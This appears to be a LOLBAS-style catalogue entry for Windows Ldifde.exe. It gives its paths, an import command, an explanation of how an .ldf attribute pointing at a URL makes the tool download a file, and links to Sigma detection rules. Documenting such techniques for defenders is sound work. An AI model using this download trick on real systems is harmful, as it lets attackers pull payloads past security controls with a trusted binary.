Ldifde.exe

Creates, modifies, and deletes LDAP directory objects.

Paths

• c:\windows\system32\ldifde.exe
• c:\windows\syswow64\ldifde.exe

Commands

Download

Import specified .ldf file into LDAP. If the file contains http-based attrval-spec such as `thumbnailPhoto:< http://example.org/somefile.txt`, the file will be downloaded into IE temp folder.

Use case: Download file from Internet

Privileges: Administrator

Ldifde -i -f {PATH:.ldf}

Detection

• Sigma: https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_export.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml
• Sigma: https://github.com/SigmaHQ/sigma/blob/3d172914f6c2bd5c2b5ed471bf0657a662d395af/rules-emerging-threats/2019/TA/APT31/proc_creation_win_apt_apt31_judgement_panda.yml

Resources

• https://twitter.com/0gtweet/status/1564968845726580736